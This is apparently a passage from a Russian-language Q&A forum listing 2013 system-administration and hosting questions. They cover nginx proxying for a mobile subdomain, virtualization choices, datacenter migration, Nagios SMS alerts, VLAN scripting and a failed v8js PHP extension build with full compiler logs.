И в строке браузера должно везде оставаться sub.domain.ru.
Однако к jetty уже должны приходить запросы вида domain.ru/sub/

Пока что допёр до такой конфигурации.
Для domain.ru отправляем запрос на прямую на бэкэнд
А для m.domain.ru переписываем поле заголовка Host в domain.ru, а запрос отправляем к бэкэнду переписывая URI как /m/{запрос}

И вроде бы даже все работает. Но дело в том, что в приложении все URL к статике прописаны как /public/mobile. Соответственно при заходе на m.domain.ru они преобразовываются в mobile.ru/m/public/mobile, и сервер их не находит. Написал workaround, но что-то он не работает. Не пойму что я делаю не так.

Может быть есть вообще более изящное решение этой проблемы?

server { listen 80; server_name m.domain.ru; root /path/to/jetty/webapps/; # все запросы к m.domain.ru переписываем отправляем к jetty как localhost:8080/m/, а поле заголовка Host переписываем на domain.ru location / { proxy_pass http://127.0.0.1:8080/m$request_uri; proxy_set_header Host domain.ru; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_cache off; proxy_redirect off; } #но делаем исключение для статики location /public/mobile { proxy_pass http://localhost:8080/; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host domain.ru; proxy_cache off; proxy_redirect off; } } server { listen 80; server_name domain.ru; root /path/to/jetty/webapps/; location / { proxy_pass http://localhost:8080/; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_cache off; proxy_redirect off; } }
 

2013.05.31, 16:10:11   #Системное администрирование - #41084


Недавно пришла в голову мысль сделать юзабельными некоторые дополнительные клавиши на моей клавиатуре (Microsoft natural ergonomic keyboard 4000). Начал ковырять, и почти сразу же наткнулся на ресурс, который своей программою обещал мне все хорошее. Поставил, сделал конфиг (в прилагающейся программулине, хотя даже тут столкнулся с проблемой несовместимости версий программы-аггрегатора конфига для клавиш и самой основной программы keyTouch), запустил — не работает. Нажимаю apply и ничего не происходит, хотя вроде бы все настроил и выставил. Может кто-нибудь мне помочь? Или хотя бы предложить другой способ захвата сигнала клавиши и навешивание на него кастомного действия. Буду ОЧЕНЬ признателен!
 

2013.06.01, 20:46:26   #Системное администрирование - #41130


Доброго времени суток!

Есть малая организация 14 человек. Куплен виртуальный хостинг, на котором крутится сайт и там пришита почта, вполне стандартно.
Пользователи по pop3 получают почту, по smtp отдают. 3 человека (менеджера) сидит на Windows и получаю почту через купленный TheBAT!, остальные на Linux через Claws Mail. За 3 года у менеджеров скопилось столько переписки-почты, что полный бэкап профилей TheBAT! отъедает около 48 Гб, а уж как это тормозит, например, при поиске письма по содержимому — можно рассказывать часами. При этом архивировать почту и пользоваться почтой, например за последние полгода не хотят ибо многие письма важны даже через полгода и доступ к ним нужен сейчас, а не через архивного хлама.

Хочется реализовать примерно такую схему:


Подскажите-поделитесь опытом, реально ли это реализовать? Возможно есть уже готовые продукты для использования сего внутри компании (не gmail :) ). Не хочется изобретать велосипед.
 

2013.06.04, 15:53:10   #Системное администрирование - #41284


Компания, которая предоставляет CDN является для нас черным ящиком.

У нас есть 3 различные сервиса, которые используют услуги этой компании, они разделены в физическом и юридическом плане, но искользуют (в теории) одинаковые конфигурации отдачи контента (но не ясно какие настройки CDN).


Как итог — 1 из 3 сервисов отдает контент крайне плохо, падают продажи растут рефаунды и пр.

По-большому счету протестировать и выявить узкие места мы сами не можем (кроме, как арендовать пару серверов в проблемных зонах и отослать CDN-компании данные, но сколько проблемных мест мы не знаем).


Вопрос. Какие есть решения для тестирования CDN? На какие узкие места нужно обратать внимание? Да и в целом, как убедить хостера (да-да, надо его убедить), что наличие проблемы является точным фактом?
 

2013.06.04, 17:25:01   #Хостинг - #41288


Добрый день! Вопрос следующий. Есть сайт, который пока что на сервере разработки (Apache + MySQL). Выбираем виртуальный хостинг для него. Есть ожидаемое число посетителей после запуска. Как можно оценить требуемую память и производительность процессора сервера хостера для заданного числа посетителей?
 

2013.06.05, 09:18:45   #Хостинг - #41318


Добрый день, уважаемое сообщество,

В данный момент выбираю средство виртуализации, которое будет использовано для сравнительного небольшого виртуального хостинга. С технологиями виртуализации и принципами работы знаком. Хотелось бы услышать мнение о OpenVZ, Proxmox,KVM,Xen,VmWare (платный конечно, но тоже рассматривается). Принципиального значения не имеет, что это будет контейнер или выделенная виртуальная область как в Xen.
Вопрос совсем не ради холивара, а для выражения конструктивных минусов и плюсов, о некоторых вариантах виртуализации.
Интересует именно мнение тех кто плотно работает с ними, чтобы подсказать на счет подводных камней.
Проблема в том, что плотно работал только с Xen, Oracle VM Server и VmWare.

Заранее благодарю
 

2013.06.05, 14:30:49   #Системное администрирование - #41344


Добрый день!
Подскажите пожалуйста как можно разворачивать на серверах веб приложение на Rails в автоматическом режиме через Puppet?
Capistrano очень хороший инструмент, но может ли он разворачивать в автоматическом режиме? Просто задача следующая — нужно будет разливать много однотипных хостов — создаётся новая виртуалка, наливается окружение и надо туда наливать rails приложение… Всё таки как это сделать автоматизированно и грамотно?
 

2013.06.06, 10:20:03   #Системное администрирование - #41392


Хабр, добрый день!

Сейчас посмотрел IPv4 Route Propagation для AS моего провайдера и увидел, что эта AS связана только с одной AS, которая AS 31133 (AS Мегафона).

Данная информация подтолкнула меня к размышлениям о необходимости иметь ещё один канал связи. Мало ли что Мегафон учудит.

Но просто просто подключить канал от ещё одного провайдера не получится, так как в сети есть сайт, у которого есть статический IP.

К сожалению у меня пока что не было опыта настройки ничего сложнее RIPv2, поэтому возникло несколько предположений и вопросов.

На форумах нашел информацию, что такое дублирование возможно только при покупке своей AS и анонсировании её через двух провайдеров.
Но с этим как минимум две проблемы:
1) AS выделяют только при условии приобретении блока /24 (здесь я могу сильно ошибаться). А нам нужен максимум /29
2) Надо договариваться об анонсе AS с провайдером. А текущий провайдер скорее всего не пойдет на в рамках нашего текущего договора.
3) Еще какие-то проблемы, о которых я не знаю.

Вопрос:
Как нам в этой ситуации сделать резервирование каналов?

P.S. Перенос сайта на хостинг невозможен в виду позиции руководства по этому вопросу.
 

2013.06.07, 23:35:00   #Системное администрирование - #41518


Добра всем!
Получил под свою «опеку» VPS с интернет-магазином на борту. Переехали на сервер буквально на днях с обычного хостинга (перестали влезать в тарифы).
Опыта администрирования серверов вообще не имею, по этому ожидайте тонну глупых вопросов.
Проблема следующая: при скане сайта через http://host-tracker.com/ru/ на нашем сервере останавливается сервис MySQL, сайт начинает трубить об ошибке подключения к базе данных. Запускаю MySQL заново — сайт нормально работает до следующего скана.
Куда копать? Какие логи смотреть?

Просматривая все подряд файлы, хотя бы отдалённо напоминающие логи, натыкался на такие предупреждения:
1. mysql_ping() — warning о том, то команде не хватает каких-то аргументов (кстати, в refferer фигурирует как раз host-tracker.com)
2. Предупреждение о том, что плагину wordfence (антивирус+файрволл) не хватило памяти и он ушел в отказ. Отключал — эффекта нет.

Сервер работает на CentOS + Apache + сопутствующие сервисы. ISP Manager в качестве панели. Сайт работает на Wordpress.
 

2013.06.08, 00:48:03   #Хостинг - #41520


Добрый день,

Мы собираемся перенести около 80 серверов из SoftLayer (где мы сервера арендуем) в другой дата-центр на Co-location (где будем использовать собственные сервера).

В связи с этим, я хотел бы поинтересоваться, на что следует обратить внимание и что следует учесть при проектировании собственной инфраструктуры.


По железу:

* Платформа

Supermicro


* Память какого производителя слеует использовать? На текущих серверах стоит очень много Hynix модулей, но есть и Samsung и другие.


* Диски

Здесь следует выделить несколько подпунктов:


1) Enterprise SSD, 400+GB. Сейчас это Smart XceedIOPS2 SSD. Как насчет новых Samsun 840 Pro? Есть ли смысл использовать FusionIO для БД?


2) 15k SAS диски 600+GB. Сейчас это Seagate Cheetah ST3600057SS.

Пункты 1 и 2 будут использоваться для flashcache на БД серверах. п.1 будет исопльзоваться в качестве основных дисков для API/WEB серверов.


3) 7.2k SATAIII диски 4+TB. Western Digital WD RE WD4000FYYZ

Эти диски будут использоваться для небольшого количества серверов, на которых хранятся некритичные данные.


4) RAID adapter.

На текущий момент используется Adaptec 5405Z, но это стандарт SATAII.

Сейчас на новых серверах ставим Adaptec 71605, подерживающий SATAIII (6 Gbps).


5) SATA кабеля. Около десятка раз возникала ситуация за последние пару лет, когда инженеры SL рекомендовали заменить SATA кабеля на серверах при разваливании RAID массивов. В блоге компании Backblaze (online backup)  рекомендовали обратить внимание на их качество при сборке собственных серверов хранения. Они используют SATA cables RA-to-STR 3 ft locking from Nippon Labs. Выделяю в отдельный пункт.


* Сеть.

На текущий момент реализованы внутренняя и внешняя сети на каждый сервер. Думаю сделать так же.

Сетевые адаптеры: что использовать с заделом? На текущий момент у нас 1 и 2 Gbit/s адаптеры. Задумываюсь об использовании 10Gbit для внутренней сети и особенно для репликации БД серверов.


* Разворачивание новых серверов

На текущий момент SoftLayer самостоятельно ставит OS, указаную в панели администрирования и может выполнить внешний скрипт для установки необходимого ПО.

Для ДЦ смотрю в сторону Spacewalk: он может загрузить сервер по PXE, поставить все необходимое ПО и сконфигурировать его.


* Организационные меры

На что обратить внимание?


* Безопасность

Что добавить здесь? Железные firewall'ы? Или это вопрос для решения на уровне приложения?


* Дополнительная информация

Посоветуйте блоги / отчеты / схемы по теме организации / миграции ИТ инфраструктуры.
 

2013.06.10, 12:41:58   #Системное администрирование - #41616


Коллеги, нужен ваш совет.

Есть сеть с дюжиной серверов и сетевого оборудования. Развернут Nagios для мониторинга этого хозяйства. Но хочется, в выходные и не рабочие дни получать уведомления по sms -, в основном, в случае проблем с температурой, которую отслеживает APC NetBotz 200.

Как я понял, изучая информацию на сайте APC, APC NetBotz 200 не поддерживает GSM модемы и т.п., только APC NetBotz 450 и 500.

Поэтому ищу какой-нибудь модуль или отдельную железку, которая бы могла работать проверять температуру по snmp (запрашивать у APC NetBotz 200) и, в случае превышения заданного порога, отправлять SMS (на 3 номера).

Может ли кто подсказать решение? Или куда копать (не знаю как гугл спросить)?
 

2013.06.10, 22:19:45   #Системное администрирование - #41652


Добрый день!

до этого со скриптами вообще дело не имел.

необходимо создать следующее в текстовом док-те.


например:

create vlan vlan2

configure vlan vlan2 tag 2

configure vlan vlan2 add ports all



create vlan vlan4093

configure vlan vlan4093 tag 4093

configure vlan vlan4093 add ports all

на выходе хотелось бы получить текстовый файл…

какие способы есть? желательно описать поподробней…
 

2013.06.12, 14:29:12   #Системное администрирование - #41720


Пробую ставить на Freebsd 9.1 x32, PHP 5.4.15 (cli).
Ставлю v8 из портов, локейшн по умолчанию.
root@papi:/root # pkg_info v8-3.18.5 -L Information for v8-3.18.5: Files: /usr/local/bin/d8 /usr/local/include/v8.h /usr/local/include/v8-debug.h /usr/local/include/v8-preparser.h /usr/local/include/v8-profiler.h /usr/local/include/v8-testing.h /usr/local/include/v8stdint.h /usr/local/lib/libv8.so /usr/local/lib/libv8.so.1

Ставлю расширение
root@papi:/root # pecl install v8js-0.1.3

Получаю fail
downloading v8js-0.1.3.tar ... Starting to download v8js-0.1.3.tar (Unknown size) ..................done: 80,896 bytes 8 source files, building running: phpize Configuring for: PHP Api Version: 20100412 Zend Module Api No: 20100525 Zend Extension Api No: 220100525 Please provide the installation prefix of libv8 [autodetect] : /usr/local building in /tmp/pear/pear-build-root9uQTVr/v8js-0.1.3 running: /tmp/pear/v8js/configure --with-v8js=/usr/local checking for grep that handles long lines and -e... /usr/bin/grep checking for egrep... /usr/bin/grep -E checking for a sed that does not truncate output... /usr/bin/sed checking for cc... cc checking whether the C compiler works... yes checking for C compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether cc accepts -g... yes checking for cc option to accept ISO C89... none needed checking how to run the C preprocessor... cc -E checking for icc... no checking for suncc... no checking whether cc understands -c and -o together... yes checking for system library directory... lib checking if compiler supports -R... yes checking build system type... i386-unknown-freebsd9.1 checking host system type... i386-unknown-freebsd9.1 checking target system type... i386-unknown-freebsd9.1 checking for PHP prefix... /usr/local checking for PHP includes... -I/usr/local/include/php -I/usr/local/include/php/main -I/usr/local/include/php/TSRM -I/usr/local/include/php/Zend -I/usr/local/include/php/ext -I/usr/local/include/php/ext/date/lib checking for PHP extension directory... /usr/local/lib/php/20100525 checking for PHP installed headers prefix... /usr/local/include/php checking if debug is enabled... no checking if zts is enabled... no checking for re2c... no configure: WARNING: You will need re2c 0.13.4 or later if you want to regenerate PHP parsers. checking for gawk... no checking for nawk... nawk checking if nawk is broken... no checking for V8 Javascript Engine... yes, shared checking for g++... g++ checking whether we are using the GNU C++ compiler... yes checking whether g++ accepts -g... yes checking how to run the C++ preprocessor... g++ -E checking for V8 version... NONE checking for ld used by cc... /usr/bin/ld checking if the linker (/usr/bin/ld) is GNU ld... yes checking for /usr/bin/ld option to reload object files... -r checking for BSD-compatible nm... /usr/bin/nm -B checking whether ln -s works... yes checking how to recognize dependent libraries... pass_all checking for ANSI C header files... yes checking for sys/types.h... yes checking for sys/stat.h... yes checking for stdlib.h... yes checking for string.h... yes checking for memory.h... yes checking for strings.h... yes checking for inttypes.h... yes checking for stdint.h... yes checking for unistd.h... yes checking dlfcn.h usability... yes checking dlfcn.h presence... yes checking for dlfcn.h... yes checking how to run the C++ preprocessor... g++ -E checking the maximum length of command line arguments... 196608 checking command to parse /usr/bin/nm -B output from cc object... ok checking for objdir... .libs checking for ar... ar checking for ranlib... ranlib checking for strip... strip checking if cc supports -fno-rtti -fno-exceptions... no checking for cc option to produce PIC... -fPIC checking if cc PIC flag -fPIC works... yes checking if cc static flag -static works... yes checking if cc supports -c -o file.o... yes checking whether the cc linker (/usr/bin/ld) supports shared libraries... yes checking whether -lc should be explicitly linked in... no checking dynamic linker characteristics... freebsd9.1 ld.so checking how to hardcode library paths into programs... immediate checking whether stripping libraries is possible... yes checking if libtool supports shared libraries... yes checking whether to build shared libraries... yes checking whether to build static libraries... no creating libtool appending configuration tag "CXX" to libtool checking for ld used by g++... /usr/bin/ld checking if the linker (/usr/bin/ld) is GNU ld... yes checking whether the g++ linker (/usr/bin/ld) supports shared libraries... yes checking for g++ option to produce PIC... -fPIC checking if g++ PIC flag -fPIC works... yes checking if g++ static flag -static works... yes checking if g++ supports -c -o file.o... yes checking whether the g++ linker (/usr/bin/ld) supports shared libraries... yes checking dynamic linker characteristics... freebsd9.1 ld.so (cached) (cached) checking how to hardcode library paths into programs... immediate configure: creating ./config.status config.status: creating config.h running: make /bin/sh /tmp/pear/pear-build-root9uQTVr/v8js-0.1.3/libtool --mode=compile g++ -I. -I/tmp/pear/v8js -DPHP_ATOM_INC -I/tmp/pear/pear-build-root9uQTVr/v8js-0.1.3/include -I/tmp/pear/pear-build-root9uQTVr/v8js-0.1.3/main -I/tmp/pear/v8js -I/usr/local/include/php -I/usr/local/include/php/main -I/usr/local/include/php/TSRM -I/usr/local/include/php/Zend -I/usr/local/include/php/ext -I/usr/local/include/php/ext/date/lib -I/usr/local/include -DHAVE_CONFIG_H -g -O2 -c /tmp/pear/v8js/v8js.cc -o v8js.lo mkdir .libs g++ -I. -I/tmp/pear/v8js -DPHP_ATOM_INC -I/tmp/pear/pear-build-root9uQTVr/v8js-0.1.3/include -I/tmp/pear/pear-build-root9uQTVr/v8js-0.1.3/main -I/tmp/pear/v8js -I/usr/local/include/php -I/usr/local/include/php/main -I/usr/local/include/php/TSRM -I/usr/local/include/php/Zend -I/usr/local/include/php/ext -I/usr/local/include/php/ext/date/lib -I/usr/local/include -DHAVE_CONFIG_H -g -O2 -c /tmp/pear/v8js/v8js.cc -fPIC -DPIC -o .libs/v8js.o /tmp/pear/v8js/v8js.cc:100: warning: deprecated conversion from string constant to 'char*' /tmp/pear/v8js/v8js.cc:100: warning: deprecated conversion from string constant to 'char*' /tmp/pear/v8js/v8js.cc:100: warning: deprecated conversion from string constant to 'char*' /tmp/pear/v8js/v8js.cc: In function 'void php_v8js_v8_free_storage(void*, zend_object_handle)': /tmp/pear/v8js/v8js.cc:386: warning: 'Dispose' is deprecated (declared at /usr/local/include/v8.h:449) /tmp/pear/v8js/v8js.cc: In function 'void php_v8js_create_v8(zval*, v8::Handle, int)': /tmp/pear/v8js/v8js.cc:417: warning: 'New' is deprecated (declared at /usr/local/include/v8.h:441) /tmp/pear/v8js/v8js.cc: In function 'void php_v8js_free_storage(void*)': /tmp/pear/v8js/v8js.cc:436: warning: 'Dispose' is deprecated (declared at /usr/local/include/v8.h:4996) /tmp/pear/v8js/v8js.cc:440: warning: 'Dispose' is deprecated (declared at /usr/local/include/v8.h:4996) /tmp/pear/v8js/v8js.cc: In function 'void zim_V8Js___construct(int, zval*, zval**, zval*, int)': /tmp/pear/v8js/v8js.cc:604: warning: 'New' is deprecated (declared at /usr/local/include/v8.h:4932) /tmp/pear/v8js/v8js.cc:649: warning: 'New' is deprecated (declared at /usr/local/include/v8.h:4932) /tmp/pear/v8js/v8js.cc: In function 'void php_v8js_persistent_zval_ctor(zval**)': /tmp/pear/v8js/v8js.cc:778: warning: deprecated conversion from string constant to 'char*' /tmp/pear/v8js/v8js.cc: In function 'void php_v8js_persistent_zval_dtor(zval**)': /tmp/pear/v8js/v8js.cc:791: warning: deprecated conversion from string constant to 'char*' /tmp/pear/v8js/v8js.cc: In function 'int zm_startup_v8js(int, int)': /tmp/pear/v8js/v8js.cc:1143: error: 'PHP_V8_VERSION' was not declared in this scope /tmp/pear/v8js/v8js.cc: In function 'void zm_info_v8js(zend_module_entry*)': /tmp/pear/v8js/v8js.cc:1239: error: 'PHP_V8_VERSION' was not declared in this scope *** [v8js.lo] Error code 1 Stop in /tmp/pear/pear-build-root9uQTVr/v8js-0.1.3. ERROR: `make' failed

Пробую ставить на Mac Os X 10.8.3, PHP 5.3.6 (cli).
Через macports ставлю v8
minimac:~ dezinger$ port contents v8 Port v8 contains: /opt/local/bin/v8 /opt/local/include/v8-debug.h /opt/local/include/v8-preparser.h /opt/local/include/v8-profiler.h /opt/local/include/v8-testing.h /opt/local/include/v8.h /opt/local/include/v8stdint.h /opt/local/lib/libv8.dylib /opt/local/share/doc/v8/AUTHORS /opt/local/share/doc/v8/ChangeLog /opt/local/share/doc/v8/LICENSE /opt/local/share/doc/v8/LICENSE.strongtalk /opt/local/share/doc/v8/LICENSE.v8 /opt/local/share/doc/v8/LICENSE.valgrind

Ставлю расширени и тот же FAIL
minimac:~ dezinger$ sudo pecl install channel://pecl.php.net/v8js-0.1.3 WARNING: channel "pecl.php.net" has updated its protocols, use "pecl channel-update pecl.php.net" to update downloading v8js-0.1.3.tgz ... Starting to download v8js-0.1.3.tgz (17,968 bytes) ......done: 17,968 bytes 8 source files, building WARNING: php_bin /Applications/MAMP/bin/php/php5.3.6/bin/php appears to have a suffix /php5.3.6/bin/php, but config variable php_suffix does not match running: phpize Configuring for: PHP Api Version: 20090626 Zend Module Api No: 20090626 Zend Extension Api No: 220090626 configure.in:3: warning: prefer named diversions configure.in:3: warning: prefer named diversions Please provide the installation prefix of libv8 [autodetect] : /opt/local building in /private/tmp/pear/temp/pear-build-rootPogLSS/v8js-0.1.3 running: /private/tmp/pear/temp/v8js/configure --with-v8js=/opt/local checking for grep that handles long lines and -e... /usr/bin/grep checking for egrep... /usr/bin/grep -E checking for a sed that does not truncate output... /usr/bin/sed checking for cc... cc checking whether the C compiler works... yes checking for C compiler default output file name... a.out checking for suffix of executables... checking whether we are cross compiling... no checking for suffix of object files... o checking whether we are using the GNU C compiler... yes checking whether cc accepts -g... yes checking for cc option to accept ISO C89... none needed checking how to run the C preprocessor... cc -E checking for icc... no checking for suncc... no checking whether cc understands -c and -o together... yes checking for system library directory... lib checking if compiler supports -R... no checking if compiler supports -Wl,-rpath,... yes checking build system type... i386-apple-darwin12.3.0 checking host system type... i386-apple-darwin12.3.0 checking target system type... i386-apple-darwin12.3.0 checking for PHP prefix... /Applications/MAMP/bin/php/php5.3.6 checking for PHP includes... -I/Applications/MAMP/bin/php/php5.3.6/include/php -I/Applications/MAMP/bin/php/php5.3.6/include/php/main -I/Applications/MAMP/bin/php/php5.3.6/include/php/TSRM -I/Applications/MAMP/bin/php/php5.3.6/include/php/Zend -I/Applications/MAMP/bin/php/php5.3.6/include/php/ext -I/Applications/MAMP/bin/php/php5.3.6/include/php/ext/date/lib checking for PHP extension directory... /Applications/MAMP/bin/php/php5.3.6/lib/php/extensions/no-debug-non-zts-20090626 checking for PHP installed headers prefix... /Applications/MAMP/bin/php/php5.3.6/include/php checking if debug is enabled... no checking if zts is enabled... no checking for re2c... no configure: WARNING: You will need re2c 0.13.4 or later if you want to regenerate PHP parsers. checking for gawk... no checking for nawk... no checking for awk... awk checking if awk is broken... no checking for V8 Javascript Engine... yes, shared checking for g++... g++ checking whether we are using the GNU C++ compiler... yes checking whether g++ accepts -g... yes checking how to run the C++ preprocessor... g++ -E checking for V8 version... NONE checking for ld used by cc... /usr/bin/ld checking if the linker (/usr/bin/ld) is GNU ld... no checking for /usr/bin/ld option to reload object files... -r checking for BSD-compatible nm... /usr/bin/nm checking whether ln -s works... yes checking how to recognize dependent libraries... pass_all checking for ANSI C header files... yes checking for sys/types.h... yes checking for sys/stat.h... yes checking for stdlib.h... yes checking for string.h... yes checking for memory.h... yes checking for strings.h... yes checking for inttypes.h... yes checking for stdint.h... yes checking for unistd.h... yes checking dlfcn.h usability... yes checking dlfcn.h presence... yes checking for dlfcn.h... yes checking how to run the C++ preprocessor... g++ -E checking the maximum length of command line arguments... 196608 checking command to parse /usr/bin/nm output from cc object... ok checking for objdir... .libs checking for ar... ar checking for ranlib... ranlib checking for strip... strip checking for dsymutil... dsymutil checking for nmedit... nmedit checking for -single_module linker flag... yes checking for -exported_symbols_list linker flag... yes checking if cc supports -fno-rtti -fno-exceptions... yes checking for cc option to produce PIC... -fno-common checking if cc PIC flag -fno-common works... yes checking if cc static flag -static works... no checking if cc supports -c -o file.o... yes checking whether the cc linker (/usr/bin/ld) supports shared libraries... yes checking dynamic linker characteristics... darwin12.3.0 dyld checking how to hardcode library paths into programs... immediate checking whether stripping libraries is possible... yes checking if libtool supports shared libraries... yes checking whether to build shared libraries... yes checking whether to build static libraries... no creating libtool appending configuration tag "CXX" to libtool checking for ld used by g++... /usr/bin/ld checking if the linker (/usr/bin/ld) is GNU ld... no checking whether the g++ linker (/usr/bin/ld) supports shared libraries... yes checking for g++ option to produce PIC... -fno-common checking if g++ PIC flag -fno-common works... yes checking if g++ static flag -static works... no checking if g++ supports -c -o file.o... yes checking whether the g++ linker (/usr/bin/ld) supports shared libraries... yes checking dynamic linker characteristics... darwin12.3.0 dyld (cached) (cached) checking how to hardcode library paths into programs... immediate configure: creating ./config.status config.status: creating config.h running: make /bin/sh /private/tmp/pear/temp/pear-build-rootPogLSS/v8js-0.1.3/libtool --mode=compile g++ -I. -I/private/tmp/pear/temp/v8js -DPHP_ATOM_INC -I/private/tmp/pear/temp/pear-build-rootPogLSS/v8js-0.1.3/include -I/private/tmp/pear/temp/pear-build-rootPogLSS/v8js-0.1.3/main -I/private/tmp/pear/temp/v8js -I/Applications/MAMP/bin/php/php5.3.6/include/php -I/Applications/MAMP/bin/php/php5.3.6/include/php/main -I/Applications/MAMP/bin/php/php5.3.6/include/php/TSRM -I/Applications/MAMP/bin/php/php5.3.6/include/php/Zend -I/Applications/MAMP/bin/php/php5.3.6/include/php/ext -I/Applications/MAMP/bin/php/php5.3.6/include/php/ext/date/lib -I/opt/local/include -DHAVE_CONFIG_H -g -O2 -c /private/tmp/pear/temp/v8js/v8js.cc -o v8js.lo mkdir .libs g++ -I. -I/private/tmp/pear/temp/v8js -DPHP_ATOM_INC -I/private/tmp/pear/temp/pear-build-rootPogLSS/v8js-0.1.3/include -I/private/tmp/pear/temp/pear-build-rootPogLSS/v8js-0.1.3/main -I/private/tmp/pear/temp/v8js -I/Applications/MAMP/bin/php/php5.3.6/include/php -I/Applications/MAMP/bin/php/php5.3.6/include/php/main -I/Applications/MAMP/bin/php/php5.3.6/include/php/TSRM -I/Applications/MAMP/bin/php/php5.3.6/include/php/Zend -I/Applications/MAMP/bin/php/php5.3.6/include/php/ext -I/Applications/MAMP/bin/php/php5.3.6/include/php/ext/date/lib -I/opt/local/include -DHAVE_CONFIG_H -g -O2 -c /private/tmp/pear/temp/v8js/v8js.cc -fno-common -DPIC -o .libs/v8js.o /private/tmp/pear/temp/v8js/v8js.cc:100: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:100: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:100: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void php_v8js_v8_free_storage(void*, zend_object_handle)’: /private/tmp/pear/temp/v8js/v8js.cc:386: warning: ‘Dispose’ is deprecated (declared at /opt/local/include/v8.h:404) /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void php_v8js_create_v8(zval*, v8::Handle, int)’: /private/tmp/pear/temp/v8js/v8js.cc:417: warning: ‘New’ is deprecated (declared at /opt/local/include/v8.h:396) /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void php_v8js_free_storage(void*)’: /private/tmp/pear/temp/v8js/v8js.cc:436: warning: ‘Dispose’ is deprecated (declared at /opt/local/include/v8.h:4502) /private/tmp/pear/temp/v8js/v8js.cc:440: warning: ‘Dispose’ is deprecated (declared at /opt/local/include/v8.h:4502) /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8Js___construct(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:573: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:604: warning: ‘New’ is deprecated (declared at /opt/local/include/v8.h:4438) /private/tmp/pear/temp/v8js/v8js.cc:649: warning: ‘New’ is deprecated (declared at /opt/local/include/v8.h:4438) /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8Js_executeString(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:675: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8Js_getPendingException(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:756: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void php_v8js_persistent_zval_ctor(zval**)’: /private/tmp/pear/temp/v8js/v8js.cc:778: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void php_v8js_persistent_zval_dtor(zval**)’: /private/tmp/pear/temp/v8js/v8js.cc:791: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8Js_registerExtension(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:856: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8Js_getExtensions(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:884: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void php_v8js_create_exception(zval*, v8::TryCatch*)’: /private/tmp/pear/temp/v8js/v8js.cc:1012: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1016: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1019: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1026: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1030: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8JsException_getJsFileName(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:1068: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1068: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8JsException_getJsLineNumber(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:1073: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1073: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8JsException_getJsSourceLine(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:1078: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1078: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zim_V8JsException_getJsTrace(int, zval*, zval**, zval*, int)’: /private/tmp/pear/temp/v8js/v8js.cc:1083: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1083: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘int zm_startup_v8js(int, int)’: /private/tmp/pear/temp/v8js/v8js.cc:1143: error: ‘PHP_V8_VERSION’ was not declared in this scope /private/tmp/pear/temp/v8js/v8js.cc:1153: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1154: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1155: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc:1156: warning: deprecated conversion from string constant to ‘char*’ /private/tmp/pear/temp/v8js/v8js.cc: In function ‘void zm_info_v8js(zend_module_entry*)’: /private/tmp/pear/temp/v8js/v8js.cc:1239: error: ‘PHP_V8_VERSION’ was not declared in this scope 